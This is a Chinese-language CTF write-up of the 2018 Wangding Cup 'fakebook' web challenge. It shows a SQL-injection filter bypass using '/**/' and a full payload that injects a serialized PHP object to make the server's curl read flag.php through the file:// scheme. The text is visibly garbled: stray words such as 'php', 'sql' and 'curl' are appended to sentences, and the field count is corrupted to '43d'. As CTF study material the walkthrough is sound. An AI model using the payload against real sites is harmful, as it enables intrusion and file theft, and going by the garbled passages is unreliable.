網鼎杯_2018 _Web_fakebook

0x01

進入頁面以下,咱們發現有兩個按鈕,login和joinphp

通常第一步咱們應該是先對網站進行掃描,看看有沒有掃描目錄和文件,可是我在掃描的時候發現返回的狀態碼全是200,顯然是作了手腳,可是這裏咱們還能夠經過返回的頁面長度來判斷,由於不存在的頁面都重定向到一個頁面,發現存在robots.txt和flag.php,查看flag.php什麼也看不到,那麼查看robots.txt,結果以下html

提示咱們有備份文件,咱們下載下來,代碼以下:sql

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

這段代碼我第一眼看到的就是__construct(),爲何呢?由於作過比較多了序列化和反序列化的題目,因此看到這個就跟敏感,就有中要用到序列化或者反序列的預感,事實驗證了個人猜想,getBlogContents()其中這個調用了blog這個變量,那看來一會必定要用到這個函數,因此要想法調用這個函數才行,到此,咱們先把這段代碼給放一放數據庫

0x02

思路到這裏彷佛停滯不前了,好像忽然斷了,那咱們想一想還有什麼沒有用到的地方,想到這裏想起來,咱們還有一個按鈕沒點呢,就是join,咱們點擊看一看curl

隨便輸入一下函數

而後回顯到頁面結果以下,看到回顯的第一瞬間其實我是想到sql注入,可是這裏嘗試沒有注入,與此同時看到回顯結果的時候有一個地方引發了個人注意,就是username,其餘的都是黑色的,只有這個是藍色的,是有鏈接的,因此點擊1網站

而後咱們來到了這裏this

看到這裏我就更加判定這裏確定有注入,因此單引號嘗試一下,果真有注入,那麼接下來注入開始url

判斷字段數

經過以上結果,咱們知道字段數爲43d

判斷數據庫名

結果以下

那看來是過濾了,經過驗證不是過濾的select,也不是union,而是過濾的union select這個總體,因此咱們能夠把中間的空格改變一下就能夠繞過,這裏能夠用/**/代替空格

結果以下

判斷表名

獲得表名users

判斷列名

查數據

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:11:"www.123.com";}

獲得了一段序列化代碼,巧了,和以前代碼分析的一段連上了

0x03

到目前爲止,咱們先思考一下,首先咱們發現了一段代碼,這段代碼提示咱們可能須要序列化,其次咱們在後續的注入過程當中發現的數據是序列化的,這二者聯繫起來告訴咱們什麼?告訴咱們,咱們須要在data數據上進行操做,什麼操做?讀取文件!但是該如何讀取文件呢?這裏很天然聯想到了file協議,使用file協議來進行文件讀取

序列化代碼:

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$a=new UserInfo();
echo serialize($a);
?>

payload:

view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

查看頁面源代碼:

很明顯的提示,base64解密一下,結果以下:

拿到flag

總結:

CTF中常考序列化和反序列化,對於序列化中常見的一些函數必定要敏感,像這個題,我在看到備份文件代碼的那一刻,就知道必定會用到序列化或者反序列化,再加上最後注入獲得的data數據形式,無不在驗證個人想法。

相關文章
相關標籤/搜索